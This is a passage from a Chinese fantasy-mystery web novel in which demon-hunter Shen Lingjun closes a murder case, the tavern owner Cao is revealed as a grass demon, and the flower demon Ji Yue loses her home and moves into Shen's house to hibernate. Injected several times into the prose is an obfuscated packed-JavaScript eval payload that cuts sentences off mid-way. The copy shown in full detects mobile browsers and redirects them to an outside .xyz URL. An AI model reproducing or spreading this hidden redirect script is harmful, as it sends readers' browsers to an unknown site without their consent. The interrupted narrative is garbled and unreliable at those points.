“我留在随元府,想混进闻家,打听出芸娘真正的死因,可是运气不好,先被小偷偷光了钱袋,又被当作流民关押了几日。放出来时,身无分文,一路乞讨回到南安县。 “若非如此,我五年前便已报了这个仇。老天有眼,闻怀璧这个畜生又来了南安县,还带来一群帮凶,我正好拿他们开刀。 “我把芸娘的一生谱成五支曲子:相见欢,生别离,春声碎,六月雪,长相忆。和她朝夕相处的三年,是我此生最快乐的三年。闻怀璧这个畜生强取豪夺,短短数月,就把一个鲜活的生命折磨致死。她明明是个人,却被诬为妖,蒙冤不白,死不瞑目。留给我的,只有天长日久的思念。从她离开的那一刻,我就死了,往后的日子,不过是一具行尸走肉罢了。” 沈灵均道,“行尸走肉,却能杀人。” 栖音阴恻恻道,“芸娘已死,别人也用不着活了。” 沈灵均摇摇头,拈起一粒草籽,“此物你从何处得来?” 栖音眼风扫过曹掌柜,“这张琴到我手上之时,琴弦便是草茎所制,不但坚韧锋利,还会自行生长。长出来的草茎有灵性,可与琴弦共振应和。我只须截下一段,黏在闻怀璧衣服上,再于千里之外弹几首曲子,这个畜生就要为自己的所作所为付出代价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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栖音倒在地上,嘴巴一张一合。鲜血呛进了气管,让他说不出话来。沈灵均定了定神,俯下身去,勉强听出几个字:让你也尝尝,痛失所爱的滋味。 他僵在当场,这个栖音,当真是疯魔了。 用琴弦杀人的琴师,终于倒在自己的琴弦之下。 庆真楼里上上下下,死一般的寂静。 天水阁这一等一奢华精美的雅间,如今一半血水一半污物,两具尸体横陈,气味令人作呕。凡是当晚在场的人,只要见过这副惨状,有生之年,再也不会想踏进这间屋子了。 徐知县虚弱地挥挥手,“凶手已伏诛,大家散了吧。” 沈灵均道,“徐大人,我有一事相求。人与妖,泾渭分明,互不相干,纵然偶有伪装,也只能骗过一时。芸娘案是栖音复仇杀人的起因,方才只听他一面之词,其中尚存诸多疑点。一个南安县的舞姬,到了随元府,怎么会成了妖。请徐大人下令重启此案,查清当年真相。” 徐知县嘶声低吼,“人都死了多年,还查什么查?先把眼前的烂摊子收拾了!” 沈灵均不依不饶,“若芸娘是人,就还她一个清白。若芸娘是妖,就还闻大人一个清白。” 徐知县气得头疼,这个沈灵均,真是不识时务。 “此事容后再议。来人哪!” 他看向门口。楼梯上围观的人群也看向他,大眼瞪小眼。 这里毕竟不是县衙,没有衙役听他差遣。 他只得转向沈灵均,“你,快去县衙叫人来。” “是。” 人群默默松动,让出一条道,沈灵均勉强挤出去的时候,正好与季月擦肩而过。 她距离他不过咫尺,眼睛里亮晶晶的,像是有星星在忽闪忽闪,“沈大人,你是我见过最聪明的人!” 沈灵均心头砰砰直跳,脸上一派淡然道,“方才又救了你一命,不用谢。” 28. 春风吹又生(一) 南安县有史以来最残忍的连环凶杀案,起于深秋,止于初冬。虽然告破,余波不绝。 民间轰轰烈烈地议论了月余,细数四起案件的前因后果,更添油加醋,扩充了许多细节,编成话本、曲子,传遍茶楼、书场。 杀人者手段之残忍,骇人听闻。芸娘红颜薄命,又令人唏嘘。 闻大人人走茶凉,他带来的闻妖使者和保镖也就地解散。百姓们欢欣鼓舞,专门请了锣鼓队龙舟队,在玉川上点灯奏乐,夹道欢送,场面之热闹,堪比元宵佳节。 唯有徐知县笑不出来。上官死在本县,他自然要受牵连。据传在一个月黑风高的夜里,有一艘满载礼物的商船,沿着玉川,悄悄驶向随元府,再也没有回来。之后不久,朝廷下旨,将徐知县降职半级,罚俸三年,以示惩戒。 徐大人不得不暂别酒楼欢场,每日都去县衙点卯,以示办公勤勉,恪尽职守。日子一长,圆脸蛋上的油光少了,引以为傲的将军肚也瘪了下去。 县衙里来不及处理的事,原本可以交给别人办的,如今全部扔给沈灵均。最好他忙得不可开交,也就无暇钻牛角尖,说什么翻查旧案的蠢话了。这种吃力不讨好的事,傻子才会去做。 一日,徐知县的侄子前来拜会,看到叔父眉宇间似有忧色,便问他为何事发愁。 徐知县沉默不语,手里把玩着一对金貔貅。 侄子心领神会,献上一则妙计。 小寒那日,南安县降下今冬第一场雪。 雪粒细小,飘在空中时还看得见,落到地上就无影无踪了。下了半天,只有庆真楼最高的屋脊上积起一星半点的白色。 曹掌柜一清早打开大门,就看到徐府的马车停在濡湿的街道上。 徐知县由家丁搀扶下了车。后面还跟着面无表情的沈灵均。 曹掌柜大感奇怪,哪有人一大早来酒楼的。 他满面堆笑迎上去,“老哥哥,今天来点什么?” 徐知县一改往日的亲切,横了他一眼,径直走了进去。 曹掌柜赶紧命人收拾雅间,点香奉茶,徐知县正襟危坐半晌,沉声道,“曹掌柜,你包庇罪犯,致使同知大人命丧本县,该当何罪?” “小人何曾包庇罪犯?” “栖音是你乐班的琴师,用来杀人的琴弦也出自你庆真楼,你如何脱得了干系?” “天地良心啊!那栖音是个疯子,疯子行事,旁人怎能预料?何况此事一出,客人们都吓得都不敢来了,酒楼的生意活活少了一半,我还无处伸冤呢!” 曹掌柜说到激动处,拽住徐知县的袍袖,“徐大人,您是青天大老爷,要替小民做主啊!” 徐知县一甩袖子,“休得攀扯!” 曹掌柜暗暗心惊,看这架势,是要翻脸不认人了。 沈灵均道,“栖音虽已伏诛,但他用过的琴弦出自庆真楼,此间或许还有妖邪之物。” 徐知县道,“好!从即刻起,查封庆真楼,直到肃清妖邪为止。” 曹掌柜的脸拉长了一寸,面皮之下,隐隐透出一层绿光。“徐大人,朝廷有令,小民不敢违背。只是这间酒楼经营多年,是小民一生的心血。“ 他摸出一块羊脂玉佩,塞在徐知县手中,“不知此事,是否还有转圜的余地?” 徐知县将玉佩摩挲一遍,啪地摔在桌上。“你把本官当什么人了?!” 曹掌柜懵了。能是什么人?贪财好色,好吃懒做之人。自从这胖子到任南安县,曹掌柜花钱如流水,鞍前马后、好吃好喝地伺候着。前前后后用于打点的银子加起来,都可以再盖一个庆真楼了。 徐知县正色道,“若查实并无妖邪,酒楼自会重新开门。你耐心等待便可。” 曹掌柜眼珠子转了一圈,看向沈灵均,“有没有妖邪,想必由沈大人定夺?” 沈灵均目光如电,“曹掌柜若是知道些什么,不妨坦白直言。” 曹掌柜脸上肌肉抖动,“小人什么都不知道。” 徐知县道,“你若是等不了,也可以现在就把酒楼卖出去。“ 曹掌柜冷笑一声,“庆真楼价值千金,只怕无人肯出价。” “价值千金?哈哈,依我看,五百两银子也就够了。你若寻不着买家,本官可以帮你找。” 曹掌柜恍然大悟。原来狗官打的是这个主意。 什么包庇人犯、查封酒楼,全是幌子,他这一回被案子牵连,降职罚俸,银钱上亏空不小,竟把算盘打到庆真楼来了。 “听大人的意思,买家已备好银子了?” 徐知县翻过手掌,拍了拍他的肩,“曹老弟啊,你我相交多年,我也是为你着想。庆真楼如今沾了凶案,百姓们避之不及。这烫手山芋,扔给别人,岂不甚好?你喜欢开酒楼,另开一间不就得了。到时候,我带人去给你捧场。” 曹掌柜把牙咬得咯咯响,“若我不答应呢?” “若不答应,你就等着来年冬天再开门吧!” 曹掌柜气得浑身颤抖,目光乱转。这屋内一桌一几、一器一物,处处都是精心布置。庆真楼上下三层,八十六间房间皆是如此。要他一朝舍去,无异于剖心剜骨。 他的声音渐渐变尖,“徐大人,此事当真不能再通融了?” 徐知县晃着硕大的脑袋,“不能。” 曹掌柜的头低了下去,身形渐渐起了变化,衣料下面,有看不见的东西在蠕动。 突然,他的身体不见了。衣襟之下,一大簇碧绿的草茎激射而出,牢牢缠住徐知县的脖子。 徐知县还来不及喊出声,喉咙已被扼住,手中茶杯掉在地上,砸得粉碎。 沈灵均目光一凝,拔剑出鞘,向曹掌柜砍去,曹掌柜轻飘飘地一闪,身形绕到另一侧,草茎狠狠收紧。 徐知县呼吸不畅,双手乱挥,连舌头都伸了出来。 沈灵均怒喝,“妖孽,你以为扼死了徐大人,还逃得出去吗?” 曹掌柜发出刺耳的尖啸,“逃?我为什么要逃?我要把所有人杀个干净。” 绿色丝绦暴长,如同一道瀑布,朝他面门扑来。沈灵均的剑锋划过一个圆圈,劈开瀑布,屋中顿时草籽漫天。 草茎像斩不尽似的,一层一层围上来,斩妖剑舞出的圆圈越缩越小,最后只能勉强护住周身。 徐知县胖大的身子被草茎捆住,吊上了房梁,初时还挣扎几下,后来手脚渐渐瘫软下来。曹掌柜攀在房梁上,露出半张脸,桀桀怪笑。 沈灵均轻叱一声,一股烈火自掌心燃起,顺着草茎一路延烧,屋子瞬间沦为火海。 曹掌柜狂吼之下,挥动身子,火星四溅,甩得到处都是。 沈灵均护住头脸,使开屠龙剑法,疾风过处,吊着徐知县的草茎剧烈摇晃,把他摔了下来。 他无暇查看徐大人是死是活,全力攻向曹掌柜。砍下来的草籽在地上铺成一条厚毯子。 一人一妖相持许久,沈灵均的剑气越来越凌厉,后招连绵不绝。曹掌柜不再恋战,尖啸一声,千万条碧绿丝绦从窗口和屋顶的缝隙中逃了出去。 沈灵均浑身被汗湿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084235|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 透,喘息未定,低头一看,草籽已经没过自己的小腿,徐知县胖大的身子埋在草里,满面焦黑,只露出口鼻。 他赶紧拨开草籽,扶起徐知县,所幸还有鼻息。伸手抵在胸口,运起法力,过了片刻,徐知县嘤咛一声,醒了过来。 “妖……有妖!曹掌柜竟然是妖!” “大人稍安勿躁。” “你将他打死没有?” “没有。” 徐大人惊惧之下,浑身抖个不停,“我跟他称兄道弟这么多年……竟然一无所觉……” 沈灵均眉头紧锁。刚才曹掌柜现出真身,他才察觉到妖气。平日里,哪怕同席而坐,也没有一丝妖气溢出。 正因如此,他虽然对曹掌柜早有怀疑,却迟迟没有出手。 此妖竟能隐藏气息。他既已逃走,再要追踪他,可就难了。 季月伸手接了半天,铅灰色的天空只洒下些细小的雪籽,落入掌心便化了。 她失望地叹了口气。 人间的雪太小了。若在妖界,每逢冬季,厚厚的积雪落满整座浮玉山,具区泽上犹如盖了条白毯子。 她是月季花修成的妖,春夏秋三季月月开花,唯独冬天休眠。 别看冰雪寒冷,下面的土地却是暖融融的。泥土盖过头,安心地睡上两个月,来年又是开花的好时节。 妖界的冬天原本是很太平的,直到去年,绿牡丹那个恶妖把她从积雪里扒拉出来,狠狠地打了一架。 那场架打得惨烈,季月如今想起来,枝干还隐隐作痛。 往事不堪回首。 今年冬天滞留人间,只好在此冬眠了。 这里没有厚厚的雪盖住泥土,只能学着人类的样子,盖棉被取暖。她跑了几趟棉花铺,抱回来五床厚厚的大被子。又跑了一趟铁匠铺,找王师傅定制了一把大铜锁。 然后喜滋滋地告诉每个认识的人,自己要躺平三个月,中间不起床,不喝水,不进食。 大多数人哈哈大笑,根本不相信她说的是真的。 少数人表示怀疑,认为她会渴死饿死,还有好心人主动提出要上门来照看她。 韩思年学问比别人深,想得比别人多,一惊一乍地问她,是不是在修炼一种特殊的内功心法,龟息功。他捧着手炉感慨,范老夫子是天下文宗之首,他的外孙女却不擅文,只习武,实在是叫人猜不透啊。 反应最奇怪的是沈灵均。他听她说要冬眠,将她从头到脚打量一番,呆立了半晌,眼中闪过惊讶、迷茫、欣喜,似乎在期待着什么,“三个月后,还醒得过来吗?” “当然会醒!”她冷然道,“冬眠又不是死掉。” 来年春天,她可是要按时开花的。 他弯起唇角,“那,三个月后见。” 不知道是不是错觉,他笑得特别开心。好像下棋时占得了先手。 小寒,便是季月选定的冬眠吉日。 她拿出那把大铜锁,将琳琅阁的大门锁死。 把屋子收拾干净,所有的东西分门别类,放置妥当,最后检查了一遍存着水和土的陶罐。封口完好,万无一失。 惬意地往床上一躺,在自己身上盖了五层厚厚的棉被。 冬日休眠,顺应天时。眼睛一合上,便有昏沉睡意袭来。 梦里有泠泠山间清风,盈盈水中明月,有香甜松软的泥土,跳动不息的清泉,还有繁华街市、万家灯火、螃蟹、年糕、提着剑的白衣人…… “砰!” 头顶传来异响。有人上房揭瓦。 29. 春风吹又生(二) 季月不情不愿地睁开眼睛,掀开五重厚棉被,跃出窗口。 屋顶之上,细雪之中,悄立着一个黑色的身影。 她皱了皱鼻子,闻到一股带着焦臭味的青草气息。 这老妖深夜找她做甚?他上次被她揍过以后,不是亲口保证,从今以后,季月方圆十里之内,他绕道走么? “曹掌柜,你被火烧了?” 曹掌柜静立半晌,居然发出一声抽泣。 季月打了个大大的呵欠,“有事明年再说吧,我要睡了。” 曹掌柜哇地一声哭了出来,“喂不熟的白眼狼,我要把他们都杀了!” 季月奇道,“你说的是谁啊?” “还能有谁?当然是那个挨千刀的徐知县!” 曹掌柜现出原身,千万簇碧绿的草茎从屋瓦的缝隙里钻了进去。 季月大叫,“谁让你进去了?!” 草茎散落在地,游动到贵妃榻上,凝聚成人形。曹掌柜的嗓子被火熏过,骂起人来格外喑哑难听。 “这忘恩负义的狗官,竟然要强夺我的产业,让我把酒楼贱卖给他。天下哪有这么便宜的事!” 季月揶揄,“你和徐知县不是很要好吗?” “这狗官只和钱要好。闻大人死在南安县,他受到牵连,为了补亏空,就翻脸不认人了。” “怪只怪你教唆栖音,用你的本体杀人。” “那个疯子杀得发了性,与我何干?我只不过给了他几根琴弦罢了。驾驭降服此物,是他自己的本事。” 季月冷笑,“这话骗骗别人也就算了。穿心草放在妖界也是利器,你把自己的原身到处放,能安什么好心?” 曹掌柜深深看了她一眼,“你不懂。草的天性就是生长蔓延。我生于人间,却不容于世,七百年来只能压抑天性,躲躲藏藏。若不散些东西出去,找找乐子,早就憋死了。” “憋死?我瞧你快活得很啊。你那酒楼里什么好吃的都有,还有那么多人听你使唤。” 她突然想起一事,“对了,徐夫人养的那只猫,是不是也吃过穿心草?” 几个月前,猫妖在南安县作乱,偷食伤人,季月和沈灵均查访得知,那猫妖原本是徐夫人养在庆真楼的宠物,名叫小灰。事发后,她怕被牵连,先残忍下毒杀害小灰,又求沈灵均替她隐瞒此事。 现在看来,庆真楼里的妖异之物,都和曹掌柜脱不了干系。 曹掌柜化为原形,变幻出一条绿色的草舌头,舔舐身上被火燎伤的地方。 “多半吃过吧。我偶尔会去后厨转转,在吃食里洒些佐料。穿心草补气养颜,能吃到一星半点,是他们的福气。” 季月只觉得喉咙一阵发痒,“莫非我也吃到过?” 曹掌柜嘿嘿冷笑,“你是妖,有什么好怕的。” “恶心!” “哼,我花了七百年,把做人的道理都学全了,他们还是容不下我。你我都是妖,就该去独属于妖的世界,那里有广阔天地,可以恣意生长,再也不用掩盖身份,苟活于世。”他浑身的草茎拼命舞动,显然心情激荡,“带我去妖界!我什么都可以答应你。” “妖界天天打架,腥风血雨。像你这样的,一露头就会被吃掉。” “不可能!” “是真的。” “我不信!” 季月无语。 她自己受白胡子老头的骗,把人间想得太好。这穿心草不知受了谁的骗,把妖界想得太好。 草茎在屋子里四处游走,念念叨叨,“我要爬上高峰,填满湖泊,漫过山坡,长遍田野,把天空都映成碧绿的。我要让我的草籽洒遍世间每一个角落!” “你去洒吧,我要躺平了。慢走不送。” “你不肯帮我?” “再不走,我就不客气了。” 草茎从四面八方汇拢而来,凝聚成一堵墙,向季月逼近。 “小妖,你连收敛妖气都不会,还妄想在人间太平度日?告诉你吧,争斗无处不在,从来都由不得你!” 季月轻飘飘地甩出一片花瓣,在绿墙中间打穿一个洞。 “滚。” 绿墙停滞片刻,倏然散开,千万簇碧绿的草茎钻进房顶、墙面和窗格的缝隙,消失不见。 季月以为他走了。 然而不过一息之后,琳琅阁的各间房屋,都发出嘎吱嘎吱的响声。 她愕然走到院中。天光已大亮,金红色的阳光照在白墙黑瓦上。无数草茎像蚯蚓一样,在木梁砖墙间钻进钻出,左冲右突,房屋结构松动,发出不堪重负的哀嚎。 藏书阁、卧房、读书堂、弟子居如同在沸水中煎熬,砖石脱落,泥沙俱下。 轰隆一声,藏书阁率先倒下,这座烧毁后又修复的两层小楼命途多舛,被直接抽掉了脊梁,七零八落地散了架。 读书堂和弟子居也没坚持多久,接二连三地倒地,扬起的尘土几乎遮住了日光。 后院的月洞门坍塌,季月常坐的那架秋千也化为木屑。 哐当,卧房向一侧倾倒下去,瓦片雨点般砸向地面,碎成小块,雕花的窗棂顺着残破的墙体滚落。 季月听到了清脆的碎裂声。 她的陶罐! 她连忙搬开杂物,向下翻找。 存放陶罐的紫檀木柜子塌了,十个陶罐只有两个幸存,其余皆化为碎片,泥土散尽,清水流干。 季月气得眼珠都红了。 这该死的老妖,明知打不过她,竟然来拆她的房子! 穿心草坚韧锋锐,即使在妖界也很难缠,人类建造的琳琅阁怎堪一击。 她站在尘土飞扬的院中,欲哭无泪,好好的冬眠吉日,就这么被搅和了。 想躺平怎么就这么难! 琳琅阁不断散架,轰隆声震天动地,响个不停。季月烦不胜烦,正要施法,外面传来一声哭天抢地的惊呼,“啊啊啊!琳琅阁怎么塌了?!” 她回头一看,大门外,尘土飞扬中隐约可见一个修长身影,双手捧着她找铁匠铺定做的那把大铜锁,脖子伸得老长,一边咳嗽一边喊,“季姑娘?咳咳,你在哪里?” 是韩思年。 只见他掏出一块手帕挡住口鼻,埋头就往院子里冲。刚跨过门槛,就被斜着的房梁绊了一下,险些摔倒。一块巨大的墙砖滚落下来,正对着他的头。 季月吹了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084236|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 遮住视线的尘土陡然散尽,墙砖在空中转弯,碎成许多小块,噼里啪啦掉在地上。韩思年乍见光明,一眼看到季月,冲过来抓住她的胳膊,就往门外拖。一边跑,一边英勇地喊道,“别怕,躲在我身后!” 季月身不由己,被他一路拖出大门。 隔着院墙,亦可看出琳琅阁的惨状:房屋一夜之间夷为平地,尘土遮天蔽日。 韩思年瞪大眼睛,似乎不敢相信,“范老夫子的故居怎会遭此浩劫?季姑娘,昨晚发生了什么?是不是有歹人放火抢劫?” 季月咬牙道,“确实有歹人。” “没伤到你吧?” “他倒是想!只拆了房子。” 韩思年不太放心,看她周身上下,确实没有受伤,这才对着院墙怒骂起来,“狼心狗肺的卑鄙之徒!琳琅阁百年老屋,何等珍贵,藏书阁典籍更是无价之宝,竟然遭到辣手摧毁。一定要把这个败类揪出来,让天下文人共同唾弃。” “光文人不够,再喊些武人来。” “季姑娘,你放心,韩府老宅正好在翻修,工匠、材料都是现成的,重建琳琅阁的事就交给我。” “……韩公子不必费心,修房子的事我自有主张。” “你一个姑娘家,人单力薄,能有什么主张?” “我能修好。” 韩思年目光柔和,宽慰道,“季姑娘,你别太自责了。虽然范老夫子将琳琅阁托付给你,但天意难测,或许这老屋命中注定,要和范老夫子共存亡。” “我没有自责,你若是不来,我已经修好了。” 韩思年咳了两声,“季姑娘刚受了惊吓。若不嫌弃,这段时日,可到寒舍住下。我派人去请薛神医,开一副安神的汤药。” 他头发上沾了灰,雪白的大氅后面全蹭黑了,神情却一贯的从容潇洒,“论起来,我也算是你的师叔。照看老师的后人,天经地义。” 季月看着他,内心挣扎。要不要动动手指把韩思年打昏过去,再动动手指把房子复原呢?他醒来后,会相信一切只是一场梦吗? 师叔啊师叔,你来的真不是时候。 打昏师叔的时机稍纵即逝。望月桥另一头,韩府的马车远远地过来了。韩思年等马车驶近,把车夫叫下来,吩咐了一长串话,叫他去找工匠、请医生、报官府。 季月听到最后一项,问,“官府还管这事?” 韩思年道,“那是当然。强拆民宅,触犯律法,行径恶劣,必须治罪。” 季月心中一动。曹掌柜是妖,妖邪作乱之事,理应归捉妖师管。 沈灵均上回不是口口声声说,要锄强扶弱,保一方平安吗?如今她好端端地睡在家里,睡到天亮,家被拆了。这算什么平安? 她当然可以自己去寻曹掌柜,报复回去,把他一口吞了。 可她耗尽全部身家来到人间,正是因为厌倦了打架,图的是此处太平安乐,可以高枕无忧。要是遇到麻烦还要自己解决,要捉妖师何用? 她越想越觉得有理,举起一只手,打断韩思年喋喋不休的唠叨,“多谢师叔的好意。歹人太过猖狂,登堂入室,毁屋拆房,这次我要亲自去报官。” 30. 春风吹又生(三) 沈灵均把自己关在书房里,翻了一夜的书。 天一道人任捉妖师多年,存有许多札记手册,单以数量而论,足可独步天下,只可惜内容杂乱无章,配上他龙飞凤舞的笔迹,世上没几个人能看懂。 沈灵均在各种文字和涂鸦里寻找和草妖有关的蛛丝马迹。毫无头绪地翻了许久,只在一片竹简上读到寥寥数语:穿心草,其茎锋锐,其籽有毒,长势极快,为至柔至刚之物,克制此妖,只须…… 只须如何? 他把竹简翻过来倒过去,愣是没找到后半句话。 曹掌柜既已现出真身,打败他并不难,难的是如何在茫茫人海中找寻他的踪迹。 又在书堆里翻了许久,他终于放弃,从柜子里抱出一盏晶莹华美的八角琉璃灯。 这琉璃灯是师父留下的法宝。屈指算来,师父去妖界已有半年多,至今杳无音讯,也不知是否平安。想和他联络,只能用这盏灯碰碰运气。 沈灵均拿过一沓符纸,取毛笔蘸了朱砂,唰唰写了起来。 与恩师一别多月,音书断绝,甚是挂念。前次提及的凶案已告结,杀人者乃庆真楼的一名琴师栖音。此人肉体凡胎,不知因何机缘,得以驾驭妖草,利用琴弦共振,不近身而连杀四人。他自知死罪难逃,已自戕于人前。 庆真楼掌柜乃是草妖,收敛妖气,潜藏于南安县二十余载,近日才现出真身。此妖现已逃遁不知所踪,弟子寻到师父留下的竹简残片,上有克制穿心草之法,惜乎记载不全。 弟子日夜悬心之事似有转机。数月前突然出现在本县的大妖自称即将冬眠。若所言非虚,今冬当可平安度过。南安县毕竟福泽深厚。弟子亦当勉励奋进,勤修苦练,支撑到师父归来。 他放下笔,把符纸卷起来,放到灯上,看着火舌把纸张一点点舔舐干净。 等了半晌,火苗静静燃着,毫无异动。 看来仍是不走运,师父此刻抽不开身。 沈灵均叹了口气,自从季月出现在南安县,他的运气就没好过。 他又埋头于书册之中,找不到其他和“穿心草”有关的记载,便有意无意地开始寻找“冬眠”两个字。 什么妖需要冬眠?冬眠中被吵醒会怎样?冬眠时法力会不会减弱? 从一卷《道德经》里掉出一片贝叶棕的叶子,上面画了只黑熊,还有炭笔留下的潦草字迹:冬至日,棕林中与熊妖激战,断其四肢,剖其心肝。 沈灵均看着那黑熊呲出来的又尖又长的獠牙,想起季月莞尔一笑,露出贝齿的样子。 她应该不会是头黑熊吧。 这原身和人形可差得太远了。 他把叶子夹回书里,抛到一边,捡起另一本册子。 这是一本太极拳经,是他入门时学过的初级功法。他信手一翻,翻到“灵蛇出洞”那一页。 书上画了个小人,弓步屈膝,右手的手掌下压,状如蛇头。 蛇也需要冬眠。季月该不会是一条蛇吧。 他回想她穿襦裙的样子,纤腰盈盈一握,确实如同水蛇一般。 想着想着,面上不知怎的发起烧来,沈灵均扔下书,大生自己的气。 像这样三心二意,功力何时才能有进境。功力没有进境,何时才能看出她的真身? 他盘膝而坐,吐纳三次,念了一遍清心诀。 心跳渐渐平复。 又埋首于书堆之中,眼睛扫过零散的文字,不断走神。 乌龟?松鼠?刺猬?蟾蜍? 她到底是什么动物修炼成的妖? 猜了一晚上,也没猜出个结果。总觉得什么都不像她。 天光大亮时,沈灵均仰面躺在书堆中间,眯着眼睛,半梦半醒地看阳光爬过窗棂,照出空气里浮动的尘埃。 心头猛地一震。 有妖气。 越来越重。 越来越近。 他爬起来,抓起剑,奔出书房。 院子里静悄悄的,石阶上沾着晨露,大门紧锁,沈伯还没起床。 妖就在外头。 推开门,季月俏立寒风之中,单衣外面披了件鹅毛大氅,衣服背后全都蹭黑了。 她苦着一张脸,“沈大人,我家有妖,你管不管?” 沈灵均垂眸看着她。 你家当然有妖! “妖半夜闯进来拆房子!” “哦?” “房子塌了,我没地方睡了。” “竟有这样的事。” “你不是捉妖师吗?赶紧把曹掌柜抓回来,让他赔我的房子。” 沈灵均这才有些惊讶,“曹掌柜?他为何要拆你家?” 他正愁找不到这草妖呢。 季月忿忿道,“妖打架哪需要理由。” 沈灵均想了想,抱起胳膊,“你和那只草妖,不是很要好吗?” 季月一愣,“哪有?” “上次在庆真楼,我亲眼见你扯他的耳朵。” “……” “你们之间可是有什么误会?不如把他约出来,心平气和地谈一谈。” 季月察觉不对,“莫非你早就知道曹掌柜是妖?” 沈灵均笑笑不答。 季月气极,“你身为捉妖师,竟然放着妖不抓,任由他作恶!害得琳琅阁百年老屋,毁于一旦!” 沈灵均淡然道,“琳琅阁全塌了?我随你去看看,或许还能补救。” 季月神色有些古怪,“不必了,韩公子已派人去修了。” 沈灵均扬起眉毛,“韩思年?” “房子塌的时候他刚好路过。他说韩府正在请工匠翻修老宅,修一处也是修,修两处也是修,还让我去寒舍住。”她说到这里,现出迷茫之色,“你知道寒舍在哪儿吗?” 沈灵均想了想,一本正经道,“寒舍就是非常寒冷的屋子。” 季月信以为真,“那可不行,我要冬眠,得住暖和的地方。” 她瞪起眼睛,“总之,你快点把曹掌柜抓起来!” 吩咐完毕,她裹紧大氅,转身就走。 沈灵均见那大氅的下摆垂到地上,一看就不是她自己的衣服,而是属于身材比她高大之人。 定是韩思年给她的。 此人对妖一无所知,还天天在季月身边打转,太危险了。 草妖找过季月一次,定会再来第二次。盯紧她,必能顺藤摸瓜,揪出草妖。 找到两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084237|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冠冕堂皇的理由。沈灵均清清嗓子,叫住季月,“你这段时日若没有地方住,可以暂住沈府。客房里设有暖阁,四季如春。” 季月回过头,“当真?” 衣领上的鹅毛被风吹动,衬着她小巧的下颌,显出几分娇憨天真。 沈灵均脑海里闪过一个念头,她的真身该不会是只松鼠吧。 “唔,你住在我家,若草妖再来滋扰,正好自投罗网。” 季月听出来了,沈灵均把她当作那钓鱼的饵。 她一心只想冬眠,也不在意,只说,“你捉妖的时候,别吵醒我。” 沈灵均微微一笑,“我尽力。” 季月上一次来沈府,是直接翻墙进去找王妙仪喝酒的。这回跟着沈灵均走正门,穿过花园、精舍、进到厅堂,只觉一步一景,处处雅致。大厅正中摆一张乌木桌,香几上架着博山炉,条案旁有工笔山水条幅,图上峰峦重叠,云雾缭绕,竟有几分妖界的味道。 季月感叹,“你家这么舒服,难怪你不爱出门。” “你来南安县之前,我确实不爱出门。” “那我来了以后呢?” “你来了以后,南安县妖邪辈出,连生事端,我天天忙得不可开交。”他凝视着她,“那些妖,不会都是你招来的吧?” “怪我?” “不怪你?” 季月翻了翻眼睛,“沈大人,书上说,吾日三省吾身。凡事多从自己身上找原因。” “书是这么解的吗?” “当然!” 沈伯揉着眼睛走进饭厅的时候,险些惊掉了下巴。桌边坐了个美貌姑娘,少爷正把一只剥好的茶叶蛋放到她碗里。定睛一看,正是小苍山上见过的那位,行事出格、口没遮拦、毫无大家闺秀风范的季姑娘。 沈伯毕竟活了这把年纪,定了定神,便上前见礼。 王妙仪就没这么淡定了。 半个时辰后,王妙仪梳洗打扮妥当,姿态娴雅地走进饭厅,看到表哥和季月对面而坐,当场惊叫出声。 季月托着腮,对她粲然一笑,“王姑娘,上次一别,许久不见,怎么没再出来喝酒啊?” 王妙仪嘴唇颤抖,望向表哥。不是说见她一次,倒霉三年吗?怎么让她登堂入室,进到家里来了? 沈灵均解释道,“琳琅阁意外倒塌,无法住人。季姑娘要暂居沈府一段时日。” “我不许!” 让表哥与她朝夕相处,耳鬓厮磨,那还了得!表哥那岌岌可危的名节,定然不保! 季月听她语气不善,疑惑道,“为何?你是怪我没给你介绍俊俏郎君吗?不是我存心食言,都是沈大人阻拦不让。你若有意,我现在就带你去见。” 她说到这里,困意袭来,忍不住打了个呵欠,“唔,这会儿恐怕不行。等到来年春天好不好?” 王妙仪俏脸涨得通红,“你一个未出阁的年轻姑娘,住到别的男子家中,成何体统!” 沈灵均淡然道,“她只是来睡觉的。” 季月认真点头。 王妙仪看看她,看看表哥,又看看她,看看表哥,不知想到了什么,大惊失色,捂着嘴尖叫起来,“你们已经……已经……啊啊啊!” 31. 春风吹又生(四) 季月只觉得莫名其妙。睡个觉而已,何至于如此激动? 沈灵均清了清嗓子,“季姑娘要借用客房睡三个月。” 沈伯一听要住这么久,忙问,“季姑娘平时爱吃些什么?我吩咐厨房准备。” 